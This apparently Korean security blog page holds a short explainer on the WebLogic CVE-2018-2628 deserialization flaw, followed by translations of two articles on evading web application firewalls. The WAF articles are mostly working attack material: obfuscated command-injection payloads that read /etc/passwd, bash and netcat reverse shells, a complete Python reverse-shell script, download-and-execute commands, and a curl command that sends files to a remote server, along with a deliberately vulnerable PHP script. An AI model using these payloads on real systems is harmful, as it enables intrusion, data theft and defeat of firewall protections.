반응형

1. Oracle WebLogic RCE Deserialization Vulnerability 이란?

 : Oracle WebLogic 서버의 RMI(Remote Method Invocation) 레지스트리를 역 직렬화(Deserialization)로 원격 코드를 실행(RCE : Remote code execution)하게 할 수 있는 취약점이다.


일단 배경지식에 대해 간단히 살펴보고 그 후 취약점에 대해 알아보도록 하자.



1.1. RMI(Remote Method Invocation)란?

 : 우리 말로 자바 원격 함수 호출로 프로그램에서 각 객체간, 컴퓨터간 메서드를 호출할 수 있게 해주는 기술이다. 


그렇다면 이 기술은 언제 사용되는 것일까?


이는 분산시스템에서 네트워크로 연결된 여러 대의 컴퓨터에서 하나의 프로그램을 분산하여 실행되기 위해 자유롭게 메서드를 호출 및 실행하기 위해 사용되는 기술이다. 즉 '분산시스템을 위해 자바에서 제공해주는 패키지가 RMI다' 라고 생각하면 된다.


 이렇게 RMI를 이용하여 메서드를 호출할 때에는 RMI 내부에서 객체 직렬화(Serialization) 기법을 이용하여 매개변수로 넘겨 줄 객체를 직렬화한 후 메서드를 호출할 때 함께 보내준다. 그 결과 메소드 호출에 따른 리턴값이 직렬화되어 원격 컴퓨터로부터 반환된다.


1.2. RMI 모델과 RMI 레지스터

 ◎ RMI 모델 : RMI를 구축하기 위해서는 원격지의 컴퓨터에 RMI Server가 필요하다. 해당 RMI Server에 객체를 넣어두고(바인딩) 로컬 머신에서 접근한 후 객체의 메서드를 호출하는 것

 - 일반적으로 가장 널리 알려진 RMI 모델은 EJB를 서비스해주는 J2EE모델이고 그 중 가잘 잘 얼려진 것이 해당 취약점에서 언급 된 Oracle사의 Weblogic이다.


 ◎ RMI 레지스터 : 자바 RMI는 원격 객체를 관리하고 서비스하는 원격 객체 컨테이너(Container)를 제공하는데, 이것을 RMI Register라고 한다.

 - RMI Register에 원격 객체를 등록하는 과정을 바인딩(Binding)이라고 한다.

 - 바인딩 과정에서 객체를 식별할 수 있는 식별자(Name)이 함께 등록되어야 한다.




2. 공격 메커니즘

 : Oracle WebLogic RCE Deserialization 취약점은 ①공격자가 Weblogic 서버에서 오픈해 놓은 T3 서비스와 제작된 Java 객체를 이용하여 Socket 연결을 맺고, ②공격자가 조작한 패킷을 서버측에 보내어 역직렬화 원격 명령을 실행하는 취약점이다.

 : 기본 포트(7001)를 사용하는 서버를 대상으로 보통 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격된다.

- 여기서 T3 서비스란 WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는데 사용되는 프로토콜이다.


3. 코드 분석

 ◎ 공격 코드 : https://www.exploit-db.com/exploits/44553/

 ◎ 코드 분석은 참고하던 이글루시큐리티의 분석이 잘 되어있어 해당 포스팅을 참고

http://www.igloosec.co.kr/BLOG_CVE-2018-2628%20:%20Oracle%20WebLogic%20RCE%20Deserialization%20Vulnerability?searchItem=&searchWord=&bbsCateId=0&gotoPage=3




4. Real World

 - 아래가 영향받는 버전이다. 해당 버전이라면 버전을 업그레이드하던지, 기본 포트(7001) 변경 및 포트 접근 제한이 필요하다.



참고 ) 

- http://www.igloosec.co.kr/BLOG_CVE-2018-2628%20:%20Oracle%20WebLogic%20RCE%20Deserialization%20Vulnerability?searchItem=&searchWord=&bbsCateId=0&gotoPage=3

- http://www.igloosec.co.kr/pdf/igloosec_security_report_201805.pdf

- https://ko.wikipedia.org/wiki/%EC%9E%90%EB%B0%94_%EC%9B%90%EA%B2%A9_%ED%95%A8%EC%88%98_%ED%98%B8%EC%B6%9C

- http://devyongsik.tistory.com/42

- http://3dmpengines.tistory.com/283

반응형

'Hacking > Web' 카테고리의 다른 글

Web Wargame Site  (0) 2019.01.13
리버스 쉘 명령어  (0) 2018.10.14
[root-me] File upload - ZIP  (0) 2018.07.01
S3 bucket 대응방안  (0) 2018.06.04
Web Application Firewall (WAF) Evasion Techniques #2  (0) 2018.06.03
블로그 이미지

rootable

,

[root-me] File upload - ZIP

2018. 7. 1. 23:47

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

S3 bucket 대응방안

2018. 6. 4. 08:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

원본 : https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0


=====================================


웹 어플리케이션 방화벽 (WAF) 회피 기술 #2

원격 명령어 실행 페이로드에서 문자열 연결은 당신에게 방화벽 규칙(Sucuri, ModSecurity)을 우회할 수 있도록 해준다. 




웹 방화벽 기술의 첫번째 파트에서, 우리는 와일드 카드, 특히 물음표 와일드카드를 사용하여 웹 방화벽 규칙을 어떻게 우회하는지를 보았다. 분명한건, 웹 방화벽 룰셋을 우회하는 또 다른 방법들은 많이 있고 각 공격마다 그들만의 특유한 회피 기술이 있다고 생각한다. 예를 들어: SQL Injection 페이로드 안에 주석 문법을 사용하는 것은 많은 필터를 우회할 수 있게 해준다. 내가 말한 건 union+select를 사용하는 것 대신에 당신은 이와 같은 것을 사용할 수 있다:


/?id=1+un/**/ion+sel/**/ect+1,2,3--


이것은 훌륭한 기술이고, 그것은 타겟 방화벽이 별표(*)와 하이픈(-) 문자를 허용하는 low paranoia level일 때 잘 작동한다. 이것은 Local File Inclusion 혹은 원격 명령어 실행을 실행하기 위해서는 사용할 수 없고 단지 SQL Injection에서만 적용될 것이다. 특정 시나리오에서, 원격 명령어 실행으로부터 웹 어플리케이션을 보호해야하는 웹 방화벽에게 "정말 악몽같은 것" 이 있는데... 그것은 연결된 문자열이라 불린다.


만약 당신이 이러한 회피 기술들 중 일부를 연습하고자 원한다면, 최근 hackthebox에 만들어놓은 의도적으로 취약한 가상 머신인 FluxCapacitor를 이용해라. 이 문서는 FluxCapacitor의 특정 시나리오를 해결할 수 있는 어느 힌트도 포함되어 있지 않지만 이런 기술에 대한 당신의 지식을 향상시켜줄 수 있다.


연결

많은 프로그래밍 언어에서, 문자열 연결은 이진법 이항 연산자이다. + (더하기) 연산자는 종종 문자열 연결을 의미하기 위해 오버로드된다: "Hello, " + "World" 는 값 "Hello, World"를 가진다. 다른 언어들에서는 일반 플러스에 대한 보다 복잡한 동작과는 달리 문자열에 대한 암시적 유형 변환을 지정하는 별도의 연산자가 있다. 예를 들어 펄과 PHP에는 .이 포함되어 있고, Lua에는 .. , 등등... 예를 들어:


$ php -r 'echo "hello"." world"."\n";'

hello world

$ python -c 'print "hello" + " world"'

hello world


그러나 만약 이것이 문자열 연결을 위한 유일한 방법이라 생각한다면, 당신은 틀림없이 잘못된 분이다.


Bash에서 / 문법을 찾을 수 있는 몇몇 언어들 특히 C, C++, 파이썬 그리고 스크립트 언어들에서는 어떠한 연산자 없이도 인접한 문자열 리터럴을 연결시켜주는 문자열 리터럴 연결이라 불리는 것이 있다: "Hello, " "World" 는 값 "Hello, World"를 가진다. 이것은 printf 그리고 echo 명령에서만 작동되는 것이 아니라 bash 문법 전체에서 작동한다. 처음부터 시작해보자.


아래의 각각의 명령어들은 모두 같은 결과를 가진다:


# echo test

# echo 't'e's't

# echo 'te'st

# echo 'te'st''

# echo 'te'''st''

# python -c 'print "te" "st"'


Bash와 파이썬을 이용한 연결된 문자열 테스트


이것은 모든 가까운 문자열 리터럴이 Bash에서 연결되기 때문에 발생하는 것이다.사실 'te's't' 는 세개의 문자열로 구성되어 있다 : 문자열 te, 문자열 s 그리고 문자열 t. 이 문법은 "일치하는 구문:에 기초한 필터(혹은 웹 방화벽 룰)을 우회할 때 사용될 수 있다. (예를 들어, ModSecurity에서 pm 연산자)


ModSecurity에서 SecRule ARGS "@pm passwd shadow groups"... 라는 룰은 아마 passwd 또는 shadow를 포함하는 모든 요청을 차단할 것이다. 그러나 만약 우리가 그것들을 pa'ss'wd 또는 sh'ad'ow로 전환한다면? 우리가 이전에 봤던 주석을 사용하여 분리된 SQLi 문법같은 경우와 같이, 우리는 싱글쿼터 ' 와 연결된 문자열 그룹 이용하여 파일명과 시스템 명령어를 분리할 수 있다. 물론, 당신은 어떠한 명령어의 인수든 연결된 문자열을 사용할 수 있을 뿐만 아니라, 심지어 Bash는 실행을 위해 경로까지 이어주는 것을 허용한다!


같은 명령어의 몇가지 예시이다 :


$ /bin/cat /etc/passwd

$ /bin/cat /e'tc/pa'ss'wd

$ /bin/c'at' /e'tc'/pa'ss'wd

$ /b'i'n/c'a't /e't'c/p'a's's'w'd'



cat 명령어의 인수로써 혹은 cat 실행을 위한 경로로써 연결된 문자열을 사용


이제, 당신이 어플리케이션의 url 파라미터에서 원격 명령 실행을 발견했을 때를 이야기해보자. 만약 "etc, passwd, shadow, 등등 ..."같은 문법을 차단하는 룰이 있을 때 당신은 이와 같은 몇가지를 이용하여 그것을 우회할 수 있다 :


curl .../?url=;+cat+/e't'c/pa'ss'wd


이제 몇가지 테스트를 만들어볼 차례다! 나는 Sucuri WAF 그리고 ModSecurity 뒤에서 테스트할 때 보통 아래의 PHP 코드를 사용한다. 아마도, 이 코드를 읽으면 당신은 이것이 너무나 멍청하고 심플하며 아무도 PHP의 curl 함수를 사용하는 것 대신에 system() 함수 안에서 curl을 사용하는 사람은 없을 것이라 생각할 것이다. 만약 당신이 그렇게 생각한다면, 당신은 나보다 더 좋은 세상에서 살고 있다! :) 생산된 어플리케이션의 소스코드에서 이러한 종류의 것들을 굉장히 많이 읽었다는 것에 당신은 놀랄 것이다. 내가 사용한 PHP 코드는 이와 같다 :


<?php


if ( isset($_GET['zzz']) {

system('curl -v '.$_GET['zzz']);

}


Sucuri WAF와 재미를 보세요

내가 생각하기에 이 두 글 이후 곧 Sucuri의 누군가가 나의 계정을 삭제시킬 것이라 생각한다. 그러나 나는 맹세한다: 나는 나의 ModSecurity와의 비교를 위해 Sucuri WAF를 사용할 것이다. 왜냐하면 내 생각에 하나가 다른 하나보다 더 낫다고 생각하지 않기 때문이다. Sucuri는 좋은 서비스를 가지고 있고 그것을 예시를 들기 위한 용도로써 사용하고 있다. 왜냐하면 그것은 널리 사용되고 있고 이 글을 읽은 모든 그들의 사용자들이 그들의 웹 어플리케이션이 이 기술을 더 잘 테스트할 수 있게 하기 위함이다.


가장 먼저, 나는 이 PHP 어플리케이션을 이용하여 파라미터 값의 인코딩 없이 google.com의 응답 body를 얻어 볼 것이다.


curl -v 'http://test1.unicresit.it/?zzz=google.com'


그것은 예상한대로 작동하여 google.com 320 page 가 말하듯이 나는 www.google.de로 따라갔다. (구글은 Frankfurt에 있는 나의 서버를 제대로 지리화하였다) :



이제, 이 취약한 어플리케이션을 exploit하기 위해 내가 할 수 있는 것들은 많다. 이것들 중 하나로 세미콜론 ; 과 함께 curl 문법을 깨고 또 다른 시스템 명령어를 실행하도록 해볼 것이다. Sucuri는 내가 /etc/passwd 파일을 일긍려고 하면 화를 낸다... 예를 들어 :


curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'


아래와 같은 이유로 Sucuri 웹 방화벽에 의해 차단되었다 : "RFI/LFI 시도가 탐지되어 차단됩니다". 나는 Sucuri의 "RFI/LFI 시도" 룰이 이전에 우리가 봐왔던 것처럼 흔한 경로와 etc/passwd같은 파일명과 "일치하는 구문"같은 것을 사용하는 것이 아닐까라고 생각한다(사용자들은 Sucuri 웹 방화벽의 룰을 자세히 볼 수 없기 떄문에 단지 추측일 뿐이다). 이 웹 방화벽은 단지 두개의 싱글 쿼터를 사용하는 것으로 룰을 우회할 수 있는 매우 미니멀리스트한 룰 셋과 매우 낮은 "paranoia level"을 가지고 있다.


curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"


두개의 싱글 쿼터를 사용한 Sucuri 웹 방화벽 회피


나는 당신이 무엇을 생각하는지 안다 : "좋아, 너는 모든 웹 방화벽의 룰 셋을 우회하여 passwd 파일을 읽을 수 있어.. 하지만 현실에서, 더 큰, 가장 중요하고 모든 질문들의 엄마격인 : 심지어 Sucuri 웹 방화벽이 동작중이고 당신의 어플리케이션을 보호하는데도 쉘을 얻을 수 있어?" 당연히 가능하지! 오직 단 한가지 문제는 목표 container에 netcat이 설치되어 있지 않아 netcat을 사용할 수 없다는 것이다 : 나는 그것을 원격 명령 실행을 이용하여 체크하였다.


$curl -s "http://test.unicresit.it/?zzz=;+which+ls"

/bin/ls


$curl -s "http://test.unicresit.it/?zzz=;+which_nc"


$


(웹 방화벽에 의해 차단될 가능성이 있는 특수 문자 몇개를 이용한) 가장 쉬운 방법은 bash -i 명령어를 사용하는 것이다 : bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, 그러나 불행히도 이 페이로드는 모든 룰 셋을 우회하기에는 너무 복잡하고 이는 그것을 포함하기 위해 PHP, Perl 또는 Python 코드를 사용하기에 어렵다는 것을 의미한다. Sucuri 웹 방화벽은 이와 같은 이유로 나의 시도를 차단한다 : 난독화된 공격 페이로드가 탐지되었다. 멋지다! 그렇지 않은가?


취약한 파라미터에 직접적으로 쉘을 얻기 위해 시도하는 것 대신에, curl 또는 wget을 사용하여 쓰기 가능한 디렉토리에 Python 리버스 쉘을 업로드 할 수 있다. 먼저, 파이썬 코드를 준비한다 vi shell.py  :


#!/usr/bin/python


import socket, subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("<my ip address>",2375));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);


그럼 python -c SimpleHTTPServer 또는 php -S, 등등을 이용하여 목표로 부터 접근 가능한 웹서버를 노출시킨다. 그 뒤 타겟 웹사이트에서 shell.py 파일을 다운로드 받는데, 나는 아래 문법을 사용하였다:


curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'


curl을 사용하여 업로드 된 shell


Sucuri 웹 방화벽을 통한 python reverse shell


좋다, Sucuri 웹 방화벽은 이 요청을 차단시키지 않았지만, 보통 ModSecurity는 이런 종류의 쓸데없는 짓을 차단한다 :) 만약 당신이 모든 "일치하는 구문" 룰을 확실히 우회하길 원한다면, 당신은 wget + ip를 long 형태로 변환 + 문자열 연결 을 사용할 수 있다.


.../?zzz=wg'e't 168431108 -P tmp

.../?zzz=c'hm'od 777 -R tmp

.../?zzz=t'm'p/index.html


wget을 사용한 첫번째 명령은 /tmp/ 안에 있는 shell 파일을 다운받기 위한 것이다. chmod를 사용한 두번째는 그것을 실행가능하도록 만들고 세번째는 그것을 실행한다. 당신이 볼 수 있듯이, wget 명령어 요청에 특정한 파일이 있지 않고, 그래서 wget으로 다운받은 파일을 index.html로 이름지을 수 있다. 당신은 다음과 같이 netcat nc 를 이용하여 직접 응답 헤더와 응답 body를 작성함으로써 이 파일을 노출할 수 있다.


RCE로부터의 HTTP 요청에 대답하기 위해 netcat을 사용


이제 가장 어려운 부분이다...


ModSecurity 그리고 OWASP Core Rule Set 우회

아마도 low paranoia level에서는 우리가 첫번째 글에서 봤던 기술을 이용하여 OWASP Core Rule Set을 우회할 수 있을 것이라고 당신은 생각하고 있을 것이다... 흠 근본적으로 안된다. 왜냐하면 normalizePathcmdLine이라 불리는 작은 두가지 때문이다. ModSecurity에서 그들은 "변형 함수"라 부르고 일치에 사용되기 전에 입력 데이터를 변화시킬 때 사용된다(예를 들어, 연산자 실행). 입력 데이터는 절대 수정되지 않는다. ModSecurity는 데이터의 복사본을 만들고, 그것을 변형 시킨 뒤, 그 결과로 연산자를 실행할 것이다.


normalizePath : 그것은 입력 문자의 다수의 슬래시들, 디렉토리 자기 참조, 그리고 디렉토리 이전 참조 (입력의 시작일 때를 제외하고)들을 제거한다.


cmdLine : 아마 당신의 모든 모의해킹 꿈을 부술 것이다 :) Marc Stern에 의해 개발된, 이 변형 함수는 파라미터의 값을 정상화시킴으로써 회피 시퀀스를 방지하고, LFI, RCE, Unix 명령어, 등등과 같은 모든 규칙을 촉발시킨다... 예를 들어 /e't'c/pa'ss'wd는 어떠한 규칙 평가 전에 /etc/passwd로 정상화된다. 그것은 더 많은 것들은 한다! 이와 같은 :


● 모든 백슬래시를 삭제 \

● 모든 더블쿼터를 삭제 "

● 모든 싱글쿼터를 삭제 '

● 모든 탈자 기호를 삭제 ^

● 슬래시 전의 공백을 삭제 /

● 여는 괄호 전의 공백을 삭제 (

● 모든 쉼표 , 와 세미콜론 ; 을 공백으로 변경 

● 모든 다수의 공백 (탭,새로운 줄, 등등을 포함)을 하나의 공백으로 변경

● 모든 문자를 소문자로 변형


연결된 문자열과 함께 RCE를 이용하기 위한 모든 시도는 cmdLine 변형 함수 때문에 932160 규칙에 의거하여 차단되었다:


Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"


"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"


"ruleId":"932160"


좋다, 나는 /etc/passwd를 읽을 수 없지만 절망하지 않는다! OWASP Core Rule Set은 그들을 차단하기 위해 흔한 파일, 경로, 그리고 명령어를 알지만 그것은 목표 어플리케이션의 소스코드와 같지 않을 수 있다. 나는 세미콜론 문자 ; 를 사용할 수 없지만(그리고 이는 curl 문법을 깰 수 없다는 것을 의미하기도 한다) 나는 파일을 빼내어서 나의 원격 서버로 보내기 위해 curl을 사용할 수 있다. 이것은 paranoia level 0부터 3까지 작동한다.


이 트릭은 원격 서버로 보내기 위한 파일을 POST HTTP 요청의 요청 body에 넣는 것으로, curl은 data 파라미터 -d 를 사용하는 것으로 이를 할 수 있다 : 


curl -d @/<file> <remote server>


아래의 요청을 보면, @를 %40으로 인코딩하였다 :


curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"


(ModSecurity 뒤에 있는) 목표 어플리케이션으로부터 원격 서버로 PHP 파일을 빼냄 


이 모든 것은 목표가 paranoia level이 4로 설정되어 있으면 payload가 하이픈, 슬래시, 등등같은 문자가 포함되어 있기 때문에 작동하지 않을 것이다. 좋은 소식은 제품 환경에서 paranoia level이 4로 되어있는 것은 굉장히 드물다는 것이다.


백슬래시는 새로운 싱글 쿼터이다 :)

같은 기술은 백슬래시 문자 \ 를 사용하는 것으로도 작동한다. 이것은 연결 문자열이 아니라 회피 시퀀스이다.


지금은 이게 다이다. 아주 길었고 관심을 가져줘서 고맙다.


- theMiddle


유용한 링크들

Positive Technology에 의한 웹 방화벽 우회

https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf


웹 어플리케이션 방화벽: 공격 참지 로직 메커니즘 by Vladimir lvanov ( USA 2016 블랙헷) 

https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf


OWASP에서 SQLi 웹 방화벽 우회 by Dhiraj Mishra

https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF


고마운 사람들

FluxCapacitor과 notably에 대한 그들의 접근 방식을 나와 공유한 모든 HTB 사용자들 : arkantolo, snowscan, decoder, phra


연락처

Andrea (theMiddle) Menin

Twitter : https://twitter.com/Menin_TheMiddle

GitHub : https://github.com/theMiddleBlue

Linkedin : https://www.linkedin.com/in/andreamenin/

반응형

'Hacking > Web' 카테고리의 다른 글

[root-me] File upload - ZIP  (0) 2018.07.01
S3 bucket 대응방안  (0) 2018.06.04
Web Application Firewall (WAF) Evasion Techniques  (0) 2018.06.03
[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
블로그 이미지

rootable

,
반응형

원본 : https://medium.com/secjuice/waf-evasion-techniques-718026d693d8


======================================================


방화벽 우회 기술들

나는 당신의 passwd 파일에서 "/???/??t /???/??ss??"와 같은 것을 읽을 수 있었다. Sucuri 방화벽, ModSecurity, Paranoia Level 등등에서 재미를 느껴보자.


웹 어플리케이션에서 원격 명령어 실행 취약점이 발견되는 것을 드문 일이 아니고 "2017년도 OWASP 상위 10 어플리케이션 보안 위험"에서 "Injection"이 첫번째로 랭크되어있는 것은 확고부동했다.


SQL, NoSQL, OS, 그리고 LDAP 인젝션과 같은 인젝션 결함은 명령어 혹은 쿼리의 한 부분으로 예상치 못한 데이터가 인터프리터로 전송되어 발생한다. 공격자의 까다로운 데이터는 인터프리터를 속여 예상치못한 명령어를 실행하거나 적절한 인증 없이 데이터에 접근할 수 있다.


모든 현대의 웹 어플리케이션 방화벽은 원격코드실행(RCE) 시도를 가로챌 수 있지만(심지어 차단하기 까지할 수 있다), 그것이 리눅스 시스템에서 발생한다면 우리는 방화벽의 룰셋을 피할 수 있는 믿을 수 없을 정도로 수많은 양의 방법을 가지고 있다. 침투테스터의 최고의 친구는 개가 아니다.. 그것의 이름은 "와일드카드"이다. WAPT 물건을 사용하기 전에, 나는 당신에게 당신이 알지 못했던 bash와 와일드카드에 대해 보여주고 싶다.


당신이 와일드카드에 대해 알지 못했던 것들

Bash 표준 와일드카드(globbing 패턴으로도 알려진)는 다수의 파일들에 작업을 하기 위해 다양한 커맨드라인 유틸리티들로 사용된다. 표준 와일드카드에 대한 더 많은 정보를 위해, man 7 glob을 쳐서 나오는 메뉴얼 페이지를 보자. 단순히 물음표 "?", 슬래시 "/", 숫자들, 그리고 문자들로 시스템 명령어를 실행할 수 있는 많은 bash 문법을 만들 수 있다는 것을 아무도 모른다. 당신은 심지어 같은 양의 문자들을 이용하여 파일들을 열거하고 그들의 내용을 얻을 수도 있다. 어떤가? 나는 당신이게 약간의 예제를 주겠다 :


ls 명령어를 실행하는 것 대신에, 당신은 다음의 문법을 사용할 수 있다: /???/?s


/???/?s 문법을 이용하여 "ls"의 help 출력을 실행


이러한 종류의 문법을 이용하여, 당신은 기본적으로 당신이 원하는 모든것을 실행할 수 있다. 당신의 취약한 타켓이 웹 방화벽 뒤에 있고, 그 방화벽은 GET 파라미터의 값 혹은 POST 요청의 body 안에 /etc/passwd 혹은 /bin/ls가 포함한 모든 요청을 막는 규칙이 있는 상황을 말해보자. 만약 당신이 /?cmd=cat+/etc/passwd 같은 요청을 만드려고 한다면 그것은 타켓의 방화벽에 의해 막힐 것이고 당신의 IP는 영원히 금지될 것이며 "yet another f***in' redteamer" 라고 태그될 것이다. 하지만 당신은 당신의 주머니에 와일드카드라는 비장의 무기를 가지고 있다. 만약 당신이 행운아라면(당신이 추후에 보겠지만 그렇게 행운아일 필요도 없다), 타켓 방화벽은 질의어 안에 ?과 /같은 문자를 막는 "Paranoia Level"은 아닐 것이다. 그러므로 당신은 당신의 (URL 인코딩된)요청을 다음과 같이 쉽게 만들 수 있다: /?cmd=%2f???%2f??t%20%2f???%2fp??s??


와일드카드를 이용하여 /bin/cat /etc/passwd를 실행


위의 스크린샷에서 당신이 볼 수 있는 것처럼, 3개의 에러들이 있다 "/bin/cat *: Is a directory". 이것은 /???/??t을 둥글게 번역하는 과정에서 /bin/cat 뿐만 아니라 /dev/net 혹은 /etc/apt 등등으로 번역될 수 있기 때문에 발생한다.


물음표 와일드카드는 어떠한 문자든 단 하나의 문자를 대신한다. 그러므로 경우에 따라서 당신이 파일명을 알지만 한 문자를 모를 때, 당신은 이 와일드카드를 사용할 수 있다. 예를 들어 ls *.???는 현재 디렉토리에서 확장자가 3개의 문자열로 이루어진 모든 파일들을 열거해줄 것이다. 그러므로 .gif, .jpg, .txt 같은 확장자를 가진 파일들이 열거될 것이다.


이 와일드카드를 사용하여 당신은 netcat을 사용한 reverse shell을 실행할 수도 있다. 당신이 127.0.0.1의 1337 포트로 reverse shell을 실행할 필요가 있다고 한다면 (보통 nc -e /bin/bash 127.0.0.1 1337), 당신은 다음과 같은 문법으로 이를 수행할 수 있다 : /???/n? -e /???/b??h 2130706433 1337


IP 주소인 127.0.0.1을 "long" 형식(2130706433)으로 바꿔서, 당신은 HTTP 요청에서 "." 문자열 사용을 피할 수 있다.


나의 칼리에서 나는 nc 대신에 nc.traditional을 사용할 필요가 있는데 그것은 연결 이후 /bin/bash를 실행하기 위한 -e 파라미터를 가지고 있지 않다.  페이로드는 다음과 같다 :


/???/?c.??????????? -e /???/b??h 2130706433 1337


와일드카드를 이용하여 reverse shell을 실행



다음은 우리가 본 두 명령어의 간단한 요약이다 :


표준 : /bin/nc 127.0.0.1 1337

회피 : /???/n? 2130706433 1337

사용된 문자 : / ? n [0-9]


표준 : /bin/cat /etc/passwd

회피 : /???/??t /???/??ss??

사용된 문자 : / ? t s


왜 * 대신에 ? 를 사용하는 것일까? 왜냐하면 별표(*)는 명령어 구문에( /* 이봐 난 주석이야 */ 와 같이) 널리 사용되기 때문에 많은 방화벽이 UNION+SELECT+1,2,3/* 같은 SQL Injection을 피하기 위해 차단한다... 


파일과 디렉토리들을 열거하기 위해 echo를 사용하는가? 그렇다, 당신은 사용할 수 있다. echo 명령어는 와일드카드를 이용하여 파일 시스템에 있는 파일들과 디렉토리들을 열거할 수 있다. 예를 들면 : echo /*/*ss* :


echo 명령어를 사용하여 파일들과 디렉토리들을 열거


이것은 타켓 시스템 상의 파일들과 디렉토리들을 얻기 위해 원격 코드 실행(RCE)에도 사용할 수 있다. 예를 들면 :


웹 방화벽을 통과해 파일들과 디렉토리들을 열거


그러나 어떻게 와일드카드(물음표에 특정하여)를 사용하는 것이 웹 방화벽에 설정된 규칙을 피할 수 있는 것일까? Sucuri 방화벽과 함께 시작해보자!


Sucuri 웹 방화벽 회피

Sucuri 웹 방화벽에서의 회피 기술 테스트


웹 방화벽 룰 셋을 테스트하는 가장 좋은 방법은 무엇일까? 세상에서 가장 취약한 PHP 스크립트를 생성한 다음 모든 가능한 기술을 시도해보는 것이다! 우리가 가진 위 스크린샷을 보자: 왼쪽 위 창에는 나의 추한 웹 어플리케이션이 있다. (그것은 단지 명령어를 실행하는 PHP 스크립트이다)


<?php

      echo 'ok: ';

      print_r($_GET['c']);

      system($_GET['c']);


왼쪽 아래 창에서 당신은 Sucuri 웹 방화벽에 의해 나의 웹 사이트(test1.unicresit.it)가 원격 명령어 실행 테스트로부터 보호된 것을 볼 수 있다. 당신이 볼 수 있는 것처럼 Sucuri는 "RFI/LFI 시도가 탐지되어 차단합니다" 라는 이유와 함께 나의 요청을 차단하였다. 이 이뉴는 완벽히 맞는 것은 아니지만 웹 방화벽이 나의 공격을 차단했다는 것은 좋은 소식이다. (나는 심지어 왜 방화벽이 요청을 차단한 이유를 나에게 말해주는 지를 모르겠지만, 이유가 있을 것이다... 분명히)


오른쪽 창은 같은 요청이지만 와일드카드로써 "물음표"를 사용하였기 때문에 가장 흥미롭다. 그 결과는 무섭다... 그 요청은 Sucuri 웹 방화벽으로부터 승인되었고 나의 어플리케이션은 내가 c 파라미터에 넣은 명령어를 실행하였다. 지금 나는 /etc/passwd 파일을 읽을 수 있고 심지어... 어플리케이션의 PHP 소스 그 자체를 읽을 수 있으며, netcat을 이용하여(또는 나는 이것을 호출하는 것을 좋아한다: /???/?c) reverse shell을 실행 할 수도 있으며, 방화벽을 우회하여 직접 타켓에 접근할 수 있도록 웹 서버의 진짜 IP 주소를 드러내기 위해 curl 또는 wget같은 프로그램을 실행할 수도 있다.


만약 이것이 발생한다해도 나는 나의 Sucuri 웹 방화벽 설정에서 무엇인가를 놓쳤기 때문에 알지 못할 것이다. 하지만 그 무엇인가가 보이지 않는다. 만약 주의해야할 행동이 있고, 거짓 긍정을 피하기 위해 디폴트로 "Low Paranoia Level"으로 설정하기 위해 어떻게 해야하는지 Sucuri에 문의한 상태이지만 나는 여전히 답변을 기다리고 있다.


제발, 진짜 시나리오를 대표한 것이 아니라, 멍청한 PHP 스크립트를 이용하여 이 테스트를 진행했다는 것을 명심해라. 내 짧은 생각으로 당신은 얼마나 많은 요청을 차단하는지를 가지고 웹 방화벽을 판단해서는 않될 것이며 Sucuri가 의도적으로 취약한 웹 사이트를 완벽히 방어할 수 없다는 이유로 안전하지 않다는 생각을 해서는 안된다. 필요한 설명이 끝났다!


ModSecurity OWASP CRS 3.0

나는 정말로 ModSecurity를 사랑하고, 웹 어플리케이션 방화벽을 배치하기 위해 지금까지 사용해왔던 솔루션 중 Nginx를 사용한 새로운 libmodsecurity(v3)와 그 Nginx 커넥터가 최고의 솔루션이라고 생각한다. 나는 또한 OWASP Core Rule Set의 열혈한 팬이다! 나는 어디에서든 그것을 사용하지만, 만약 당신이 이 룰 셋을 잘 알지 못한다면, 당신은 사랑이라 불리는 작은 것에 주의를 기울여야 한다... 미안 Paranoia Level!


바보들을 위한 Paranoia Level

당신이 여기에서 찾을 수 있는 "문법"은 "REQUEST PROTOCOL ENFORCEMENT" 룰에서 각각의 수준이 어떻게 작동하는지에 대한 좋은 개요이다. 당신이 볼 수 있듯이 PL1에서는 질의 문자열에 1~255 범위의 ASCII 문자열만을 포함할 수 있고 PL4에서는 아주 작은 범위의 ASCII 문자열을 제외한 모든 것을 차단한다.


# -=[ Targets and ASCII Ranges ]=-

#

# 920270: PL1

# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES

# ASCII: 1-255

# Example: Full ASCII range without null character

#

# 920271: PL2

# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES

# ASCII: 9,10,13,32-126,128-255

# Example: Full visible ASCII range, tab, newline

#

# 920272: PL3

# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY

# ASCII: 32-36,38-126

# Example: Visible lower ASCII range without percent symbol

#

# 920273: PL4

# ARGS, ARGS_NAMES and REQUEST_BODY

# ASCII: 38,44-46,48-58,61,65-90,95,97-122

# Example: A-Z a-z 0-9 = - _ . , : &

#

# 920274: PL4

# REQUEST_HEADERS without User-Agent, Referer, Cookie

# ASCII: 32,34,38,42-59,61,65-90,95,97-122

# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE


모든 수준에서 약간의 테스트를 해보자!


Paranoia Level 0 (PL0)

